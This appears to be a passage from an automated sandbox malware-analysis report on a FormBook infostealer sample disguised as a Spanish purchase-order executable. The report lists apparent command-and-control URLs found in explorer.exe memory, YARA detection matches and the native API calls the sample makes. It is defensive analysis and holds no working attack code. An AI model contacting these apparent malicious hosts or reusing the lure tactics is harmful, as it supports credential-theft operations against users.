                Source: explorer.exe, 00000007.00000003.2271606980.000000000C514000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.3075843895.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3806898258.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.2270957915.000000000C502000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.thewipglobal.com/pz08/
                Source: explorer.exe, 00000007.00000003.2271606980.000000000C514000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.3075843895.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3806898258.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.2270957915.000000000C502000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.thewipglobal.com/pz08/www.boostyourselftoday.com
                Source: explorer.exe, 00000007.00000003.2271606980.000000000C514000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.3075843895.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3806898258.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.2270957915.000000000C502000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.thewipglobal.comReferer:
                Source: explorer.exe, 00000007.00000003.2271606980.000000000C514000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.3075843895.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3806898258.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.2270957915.000000000C502000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.tobegoodlife.net
                Source: explorer.exe, 00000007.00000003.2271606980.000000000C514000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.3075843895.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3806898258.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.2270957915.000000000C502000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.tobegoodlife.net/pz08/
                Source: explorer.exe, 00000007.00000003.2271606980.000000000C514000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.3075843895.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3806898258.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.2270957915.000000000C502000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.tobegoodlife.net/pz08/www.5819995.com
                Source: explorer.exe, 00000007.00000003.2271606980.000000000C514000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.3075843895.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3806898258.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.2270957915.000000000C502000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.tobegoodlife.netReferer:
                Source: explorer.exe, 00000007.00000003.2271606980.000000000C514000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.3075843895.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3806898258.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.2270957915.000000000C502000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.yassa-hany.online
                Source: explorer.exe, 00000007.00000003.2271606980.000000000C514000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.3075843895.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3806898258.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.2270957915.000000000C502000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.yassa-hany.online/pz08/
                Source: explorer.exe, 00000007.00000003.2271606980.000000000C514000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.3075843895.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3806898258.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.2270957915.000000000C502000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.yassa-hany.online/pz08/www.go-bloggers.com
                Source: explorer.exe, 00000007.00000003.2271606980.000000000C514000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.3075843895.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3806898258.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.2270957915.000000000C502000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.yassa-hany.onlineReferer:
                Source: explorer.exe, 00000007.00000003.2271606980.000000000C514000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.3075843895.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3806898258.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.2270957915.000000000C502000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.yobo-by.com
                Source: explorer.exe, 00000007.00000003.2271606980.000000000C514000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.3075843895.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3806898258.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.2270957915.000000000C502000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.yobo-by.com/pz08/
                Source: explorer.exe, 00000007.00000003.2271606980.000000000C514000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.3075843895.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3806898258.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.2270957915.000000000C502000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.yobo-by.com/pz08/www.phdop.xyz
                Source: explorer.exe, 00000007.00000003.2271606980.000000000C514000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.3075843895.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3806898258.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.2270957915.000000000C502000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.yobo-by.comReferer:
                Source: explorer.exe, 00000007.00000003.2271606980.000000000C514000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.3075843895.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3806898258.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.2270957915.000000000C502000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.ytytyt016.xyz
                Source: explorer.exe, 00000007.00000003.2271606980.000000000C514000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.3075843895.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3806898258.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.2270957915.000000000C502000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.ytytyt016.xyz/pz08/
                Source: explorer.exe, 00000007.00000003.2271606980.000000000C514000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.3075843895.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3806898258.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.2270957915.000000000C502000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.ytytyt016.xyz/pz08/www.aloyoga-uae.com
                Source: explorer.exe, 00000007.00000003.2271606980.000000000C514000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.3075843895.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3806898258.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.2270957915.000000000C502000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.ytytyt016.xyzReferer:
                Source: explorer.exe, 00000007.00000000.1404737205.0000000008F4D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3797149522.0000000008F83000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://activity.windows.com/UserActivity.ReadWrite.CreatedByApp
                Source: explorer.exe, 00000007.00000003.2272035015.000000000913F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1404737205.000000000913F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.3074160405.000000000913F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3798409790.000000000913F000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://android.notify.windows.com/iOS
                Source: explorer.exe, 00000007.00000002.3797149522.0000000008F09000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://api.msn.com/
                Source: explorer.exe, 00000007.00000000.1404737205.0000000008DA6000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://api.msn.com/v1/News/Feed/Windows?apikey=qrUeHGGYvVowZJuHA3XaH0uUvg1ZJ0GUZnXk3mxxPF&ocid=wind
                Source: explorer.exe, 00000007.00000000.1404737205.0000000008F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3797149522.0000000008F09000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?
                Source: explorer.exe, 00000007.00000000.1400763219.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3793412922.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?activityId=DD4083B70FE54739AB05D6BBA3484042&timeOut=5000&oc
                Source: explorer.exe, 00000007.00000000.1400763219.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3793412922.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://api.msn.com:443/v1/news/Feed/Windows?
                Source: explorer.exe, 00000007.00000002.3793412922.0000000007276000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1400763219.0000000007276000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://api.msn.com:443/v1/news/Feed/Windows?t
                Source: explorer.exe, 00000007.00000000.1404737205.0000000008DFE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3797149522.0000000008DFE000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://arc.msn.com
                Source: explorer.exe, 00000007.00000002.3793412922.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earnings
                Source: explorer.exe, 00000007.00000002.3793412922.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/AAehwh2.svg
                Source: explorer.exe, 00000007.00000000.1400763219.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3793412922.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV
                Source: explorer.exe, 00000007.00000000.1400763219.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3793412922.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV-dark
                Source: explorer.exe, 00000007.00000000.1400763219.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3793412922.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13fcaT
                Source: explorer.exe, 00000007.00000000.1400763219.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3793412922.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13fcaT-dark
                Source: explorer.exe, 00000007.00000002.3805456572.000000000C091000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1408522157.000000000C091000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://excel.office.com
                Source: explorer.exe, 00000007.00000000.1400763219.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3793412922.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA11f7Wa.img
                Source: explorer.exe, 00000007.00000000.1400763219.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3793412922.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA15Yat4.img
                Source: explorer.exe, 00000007.00000000.1400763219.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3793412922.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA1bjET8.img
                Source: explorer.exe, 00000007.00000000.1400763219.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3793412922.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA1c9Jin.img
                Source: explorer.exe, 00000007.00000000.1400763219.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3793412922.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBNvr53.img
                Source: explorer.exe, 00000007.00000002.3805456572.000000000C091000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1408522157.000000000C091000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://outlook.com
                Source: explorer.exe, 00000007.00000002.3805456572.000000000C091000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1408522157.000000000C091000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://powerpoint.office.com
                Source: explorer.exe, 00000007.00000000.1400763219.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3793412922.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNew
                Source: explorer.exe, 00000007.00000000.1400763219.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3793412922.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNew
                Source: explorer.exe, 00000007.00000000.1404737205.00000000090F2000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.2272035015.00000000090F2000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://wns.windows.com/
                Source: explorer.exe, 00000007.00000002.3805456572.000000000C091000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1408522157.000000000C091000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://word.office.com
                Source: explorer.exe, 00000007.00000000.1400763219.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3793412922.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/lifestyle/lifestyle-buzz/what-to-do-if-a-worst-case-nuclear-scenario-actua
                Source: explorer.exe, 00000007.00000000.1400763219.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3793412922.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/money/careersandeducation/student-loan-debt-forgiveness-arrives-for-some-b
                Source: explorer.exe, 00000007.00000000.1400763219.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3793412922.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/money/markets/costco-is-seeing-a-gold-rush-what-s-behind-the-demand-for-it
                Source: explorer.exe, 00000007.00000000.1400763219.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3793412922.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/money/realestate/why-this-florida-city-is-a-safe-haven-from-hurricanes/ar-
                Source: explorer.exe, 00000007.00000000.1400763219.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3793412922.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/music/news/6-rock-ballads-that-tug-at-the-heartstrings/ar-AA1hIdsm
                Source: explorer.exe, 00000007.00000000.1400763219.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3793412922.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/news/politics/kinzinger-has-theory-about-who-next-house-speaker-will-be/vi
                Source: explorer.exe, 00000007.00000000.1400763219.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3793412922.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/news/technology/prehistoric-comet-impacted-earth-and-triggered-the-switch-
                Source: explorer.exe, 00000007.00000000.1400763219.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3793412922.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/news/us/dumb-and-dumber-12-states-with-the-absolute-worst-education-in-the
                Source: explorer.exe, 00000007.00000000.1400763219.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3793412922.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/sports/other/simone-biles-leads-u-s-women-s-team-to-seventh-straight-world
                Source: explorer.exe, 00000007.00000000.1400763219.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3793412922.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/weather/topstories/accuweather-el-ni
                Source: explorer.exe, 00000007.00000000.1400763219.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3793412922.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/weather/topstories/here-s-who-could-see-above-average-snowfall-this-winter
                Source: explorer.exe, 00000007.00000000.1400763219.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3793412922.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/weather/topstories/us-winter-forecast-for-the-2023-2024-season/ar-AA1hGINt
                Source: explorer.exe, 00000007.00000000.1400763219.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3793412922.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com:443/en-us/feed
                Source: explorer.exe, 00000007.00000002.3793412922.00000000071B2000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.pollensense.com/

                E-Banking Fraud

                barindex
                Yara detected FormBook
                Source: Yara matchFile source: 6.2.Solicitud de pedido Documento No 168646080.exe.400000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 6.2.Solicitud de pedido Documento No 168646080.exe.400000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 00000008.00000002.3785670627.0000000004B20000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000008.00000002.3785324441.0000000004AF0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000006.00000002.1450157027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000008.00000002.3781993487.0000000000B90000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.1397158259.0000000004104000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

                System Summary

                barindex
                Malicious sample detected (through community Yara rule)
                Source: 6.2.Solicitud de pedido Documento No 168646080.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
                Source: 6.2.Solicitud de pedido Documento No 168646080.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
                Source: 6.2.Solicitud de pedido Documento No 168646080.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
                Source: 6.2.Solicitud de pedido Documento No 168646080.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
                Source: 6.2.Solicitud de pedido Documento No 168646080.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
                Source: 6.2.Solicitud de pedido Documento No 168646080.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
                Source: 00000008.00000002.3785670627.0000000004B20000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
                Source: 00000008.00000002.3785670627.0000000004B20000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
                Source: 00000008.00000002.3785670627.0000000004B20000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
                Source: 00000008.00000002.3785324441.0000000004AF0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
                Source: 00000008.00000002.3785324441.0000000004AF0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
                Source: 00000008.00000002.3785324441.0000000004AF0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
                Source: 00000006.00000002.1450157027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
                Source: 00000006.00000002.1450157027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
                Source: 00000006.00000002.1450157027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
                Source: 00000008.00000002.3781993487.0000000000B90000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
                Source: 00000008.00000002.3781993487.0000000000B90000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
                Source: 00000008.00000002.3781993487.0000000000B90000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
                Source: 00000007.00000002.3796185468.000000000869F000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_772cc62d Author: unknown
                Source: 00000002.00000002.1397158259.0000000004104000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
                Source: 00000002.00000002.1397158259.0000000004104000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
                Source: 00000002.00000002.1397158259.0000000004104000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
                Source: Process Memory Space: Solicitud de pedido Documento No 168646080.exe PID: 3180, type: MEMORYSTRMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
                Source: Process Memory Space: Solicitud de pedido Documento No 168646080.exe PID: 7348, type: MEMORYSTRMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
                Source: Process Memory Space: msiexec.exe PID: 7484, type: MEMORYSTRMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
                .NET source code contains very large array initializations
                Source: 2.2.Solicitud de pedido Documento No 168646080.exe.7070000.8.raw.unpack, -Module-.csLarge array initialization: _206D_202D_206D_202D_206F_202C_200E_206B_202D_206C_206A_206A_202E_202D_202E_202E_206D_206A_200E_200B_206C_206B_202C_202A_202E_206C_206B_200E_200E_206F_202E_200E_200F_200D_202A_206C_202B_202C_206A_200D_202E: array initializer size 6656
                Source: 2.2.Solicitud de pedido Documento No 168646080.exe.371a190.6.raw.unpack, -Module-.csLarge array initialization: _206D_202D_206D_202D_206F_202C_200E_206B_202D_206C_206A_206A_202E_202D_202E_202E_206D_206A_200E_200B_206C_206B_202C_202A_202E_206C_206B_200E_200E_206F_202E_200E_200F_200D_202A_206C_202B_202C_206A_200D_202E: array initializer size 6656
                Initial sample is a PE file and has a suspicious name
                Source: initial sampleStatic PE information: Filename: Solicitud de pedido Documento No 168646080.exe
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0041A350 NtCreateFile,6_2_0041A350
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0041A400 NtReadFile,6_2_0041A400
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0041A480 NtClose,6_2_0041A480
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0041A530 NtAllocateVirtualMemory,6_2_0041A530
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0041A47C NtClose,6_2_0041A47C
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0041A52A NtAllocateVirtualMemory,6_2_0041A52A
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016A2B60 NtClose,LdrInitializeThunk,6_2_016A2B60
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016A2BF0 NtAllocateVirtualMemory,LdrInitializeThunk,6_2_016A2BF0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016A2AD0 NtReadFile,LdrInitializeThunk,6_2_016A2AD0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016A2D30 NtUnmapViewOfSection,LdrInitializeThunk,6_2_016A2D30
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016A2D10 NtMapViewOfSection,LdrInitializeThunk,6_2_016A2D10
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016A2DF0 NtQuerySystemInformation,LdrInitializeThunk,6_2_016A2DF0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016A2DD0 NtDelayExecution,LdrInitializeThunk,6_2_016A2DD0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016A2C70 NtFreeVirtualMemory,LdrInitializeThunk,6_2_016A2C70
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016A2CA0 NtQueryInformationToken,LdrInitializeThunk,6_2_016A2CA0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016A2F30 NtCreateSection,LdrInitializeThunk,6_2_016A2F30
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016A2FE0 NtCreateFile,LdrInitializeThunk,6_2_016A2FE0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016A2FB0 NtResumeThread,LdrInitializeThunk,6_2_016A2FB0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016A2F90 NtProtectVirtualMemory,LdrInitializeThunk,6_2_016A2F90
